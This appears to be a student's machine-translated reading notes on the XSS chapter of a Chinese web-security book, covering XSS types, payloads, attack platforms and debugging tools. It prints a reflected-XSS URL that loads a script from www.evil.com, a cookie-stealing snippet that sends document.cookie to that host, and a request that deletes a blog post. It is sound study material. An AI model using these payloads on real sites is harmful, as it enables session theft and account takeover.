"White hat Talk Web Security" chapter III XSS Reading notes

3.1 XSS Introduction

The Cross site script was originally abbreviated as CSS, and in order to differentiate itself from CSS in web development, the security realm is called XSS.

The cause of XSS is the direct input of the user, output to the page, the hacker can input script statements to attack.

XSS Classification: Reflective XSS, need to persuade users to click on malicious links to attack success, storage-type XSS, also known as persistent XSS, hacker input data can be stored on the server; DOM based XSS, in fact, is a reflective XSS that is attacked by modifying the DOM of the page.

3.2 XSS Attack advanced

3.2.1 on XSS payload

XSS payload is actually Java script, and can also say flash or other rich client script.

The real payload is written in a remote script to avoid writing a lot of code directly in the URL, such as:

http://www.a.com/test.htm?abc= "><script src=http://www.evil.com/evil.js></script>

Code to steal Cookies:

var img = document.createelement ("img");

IMG.SRC = "Http://www.evil.com/log?" +escape (Document.cookie);

Document.body.appendChild (IMG);

Cookie HttpOnly can prevent cookie hijacking.

3.2.2 Powerful XSS payload

• Construct get and POST requests

Example of a GET request: if there is an XSS vulnerability on the Sohu blog and you know the article ID, then delete the Sohu blog post, just adjust:

IMG.SRC = "http://blog.sohu.com/manage/entry.do?m=delete&id=1234567

Example of a POST request: using XSS to speak on the watercress, you can construct a form or XMLHttpRequest two ways to initiate the post request, the code is longer, see the book p48-49. The book also has a more complex example of reading QQ mailbox.

• XSS Fishing

XSS lack of interaction with the user, for this issue, the book cited two examples, one for the verification code, and the other on the construction of the password input box, phishing method to obtain the user password.

• Identify the user's browser

• Identify user-installed software

• Get the real IP address of the user

The above few need to be studied again.

3.2.3 XSS Attack Platform

Attack API, BeEF, XSS Proxy

3.2.4 Ultimate Weapon XSS Worm

The two examples of MySpace and Baidu space are quite difficult.

3.2.5 Debugging JS

Firebug: The first tool, the disadvantage is that only the best support for Firefox.

IE developer Tools, Fiddler, HttpWatch and so on.

3.2.6 XSS Construction Tips

"White hat Talk Web Security" chapter III XSS Reading notes